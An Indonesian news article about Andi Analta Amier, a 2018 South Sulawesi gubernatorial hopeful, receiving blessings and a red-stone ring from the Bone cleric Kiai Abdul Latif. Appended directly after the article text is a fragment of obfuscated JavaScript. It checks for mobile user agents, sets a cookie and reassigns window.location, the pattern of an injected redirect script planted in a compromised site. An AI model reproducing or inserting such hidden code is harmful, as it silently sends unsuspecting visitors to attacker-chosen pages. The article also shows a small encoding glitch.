Pilgub

Cincin Merah Darah Pemberian Sang Kiai Sepuh Bone Jadi Tanda Cinta & Sayang Pada Andi Analta

Ayonews, Bone
Restu orangtua itu penting. Prinsip ini dipegang teguh Bakal Calon Gubernur Sulawesi Selatan 2018-2023, Andi Analta Amier. Setiap langkah kaki berjalan harus dengan ridho orangtua. Mereka adalah Ai??para sesepuh dan alim ulama.

Apalagi ini menyangkut kepemimpinan. Andi Analta mengawali langkah dengan menemui para orangtua, sesepuh alim ulama dan tokoh-tokoh adat di Sulsel.

Yang paling pertama ia temui adalah Kiai Abdul Latif. Dia alim ulama tertua di Sulsel. Umurnya sudah 86 tahun. Sebagai Ketua MUI di Bone, sudah banyak para politisi mendatanginya.

Termasuk Wapres Jusuf Kalla. Saat menjelang Pilpres 2014 ia turut menyambangi Kiai Abdul Latif demi restu dan doa menjadi Wapres.

“Ulama mendatangi pemerintah minta proyek. Pemerintah mendekati ulama minta doa,” kelakar Kiai Abdul Latif saat ditemui Andi Analta di kediamannya di Bone, Jumat sore (19-10-2017).

Kedatangan Andi Analta membuat Kiai Abdul Latif sangat senang. Ia tahu dan kenal betul pria yang akrab disapa Pua itu. Bahkan Kiai Abdul Latif turut mendoakan agar niat Andi Analta menjadi pemimpin di Sulsel dapat terwujud.

“Buah kelapa jatuh tak jauh dari pohonnya. Ini keturunan raja. Keturunan pemimpin. Mulai dari orangtuanya Andi Baso Amier, Bupati Bone Tahun 1969 dan salah satu ponakan Jenderal M. Yusuf, menjadi pemimpin di Sulsel. Saya doakan semoga berjalan dengan baik,” tuturnya seraya memberikan sebuah cincin yang membalut batu jenis merah darah yang langsung dipakaikan ke jari manis Andi Analta.

“Ini tanda cinta dan sayang pada Pua,” sambung Kiai Abdul Latif.

Menjelang Pilgub Sulsel mendatang, Kiai Abdul Latif mengatakan bahwa Andi Analta adalah orang pertama yang mendatanginya. Biasanya banyak tokoh-tokoh politik menjelang pesta demokrasi menyambanginya, sekadar minta doa restu.

Ada kekecewaan dalam diri Kiai Abdul Latif terhadap Pemprov Sulsel saat ini. Beberapa kali ia meminta bantuan untuk pembangunan masjid di Bone, pemprov selalu beralasan belum ada anggarannya.

 

“Saya dukung penuh Pua jadi Gubernur Sulsel. Sebagai orang Bone mudah-mudahan ringan tangan untuk membantu pembangunan tempat-tempat ibadah dan sekolah keagamaan di Bone. Saya Doakan agar perjalanan dan rencana Pua berjalan lancar,” ucapnya.

Sementara itu, Andi Analta mengatakan, sebagai umara dirinya wajib mendatangi ulama. Namun kebalikannya, tanda sebuah kampung akan celaka bila ulama mendatangi umaro.

“Ini soal adab. Sebagai orang yang sedang belajar adab supaya mendatangkan keberkahan dan keamanan. Kedatangan ini bagian dari keinginan hati masyarakat. Hubbul wathonnya Pancasila,” ujar Andi Analta.(***) |v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Most Popular

To Top